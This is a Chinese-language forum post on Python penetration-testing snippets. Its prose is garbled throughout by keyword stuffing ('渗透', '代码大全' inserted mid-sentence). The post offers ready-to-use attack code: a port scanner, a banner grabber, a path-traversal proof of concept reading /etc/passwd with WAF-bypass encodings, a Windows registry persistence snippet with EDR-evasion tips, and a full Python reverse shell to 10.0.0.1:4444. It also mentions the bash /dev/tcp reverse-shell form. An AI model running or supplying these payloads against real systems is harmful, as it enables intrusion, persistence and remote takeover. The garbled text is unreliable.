用Python写渗透工具的渗透人越来越多,但真正能跑通、代码大全不报错、渗透不被杀软秒删的代码大全代码,往往藏在GitHub的渗透 issue 区和安全论坛的犄角旮旯里。我见过太多人拿着一份号称“大全”的代码大全脚本合集,结果连最基本的渗透端口扫描都跑不起来——不是库版本对不上,就是代码大全目标环境早打了补丁。所以别指望有什么万能代码库,渗透下面这些片段是代码大全我自己反复改过、在授权测试里验证过的渗透,拿去就能用,代码大全但记得先看清楚注释里的渗透坑。
先看信息收集。代码大全
socket模块做TCP全连接扫描最简单,渗透但并发一高就卡死。我习惯用asyncio配合asyncio.open_connection,单机扫C段能压到三秒内。这段代码直接抄:import asyncio async def scan(ip, port): try: reader, writer = await asyncio.wait_for( asyncio.open_connection(ip, port), timeout=0.5) writer.close() return port except: return None async def main(ip): tasks = [scan(ip, p) for p in range(1, 1025)] for coro in asyncio.as_completed(tasks): res = await coro if res: print(f"[+] { ip}:{ res} open")注意
asyncio.wait_for的超时别设太小,内网0.3秒够,公网至少1.5秒,否则全是假阴性。另外Windows上事件循环策略要换成WindowsSelectorEventLoopPolicy,不然并发上不去。拿到开放端口后,下一步是服务识别。别用
nmap的Python包装,慢且依赖重。直接发banner:import socket def grab_banner(ip, port): s = socket.socket() s.settimeout(2) try: s.connect((ip, port)) s.send(b"\r\n") banner = s.recv(1024) return banner.decode(errors='ignore').strip() except: return None finally: s.close()SSH和FTP会主动吐banner,HTTP得自己构造请求。我试过对一台老式Tomcat发
HEAD / HTTP/1.0,直接返回了版本号——这种信息在渗透里比扫出一堆端口值钱得多。漏洞利用环节,Python最常干的是写PoC。比如某OA系统的任意文件读取,用
requests发个GET就完事:import requests url = "http://target/xxx/xxx?filename=../../../../etc/passwd" r = requests.get(url, timeout=5, verify=False) if "root:" in r.text: print("[!] 存在文件读取") print(r.text[:500])但真实环境里往往有WAF。这时候得换
httpx并手动控制header顺序,或者用socket裸发包绕过一些基于正则的拦截。我遇到过一个案例:WAF只拦../,但把..%2f和..%5c混合用就过了。代码不复杂,关键是思路。后渗透阶段,Python常被用来做权限维持。比如写一个简单的Windows注册表自启动:
import winreg key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(key, "Updater", 0, winreg.REG_SZ, r"C:\temp\payload.exe") winreg.CloseKey(key)这段代码在实战里几乎必被EDR拦截。想绕过,得用
ctypes直接调RegSetValueExW,或者干脆改用计划任务。别迷信代码本身,环境对抗才是重点。最后说个坑:很多“渗透代码大全”里的反弹shell脚本,还在用
bash -i >& /dev/tcp/这种老掉牙的写法。现在Linux默认的/bin/sh很多是dash,根本不支持。换成Python原生的:import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.1", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"])这段在目标有Python环境时几乎通杀,但注意
subprocess.call会阻塞,想交互更顺滑可以用pty.spawn。我平时会准备两个版本,一个纯socket,一个带pty,看目标系统选。代码就这些。别指望复制粘贴就能拿shell,每个目标环境都得微调。真正有用的不是“大全”,是你自己调试时踩过的坑。
顶: 375踩: 52





评论专区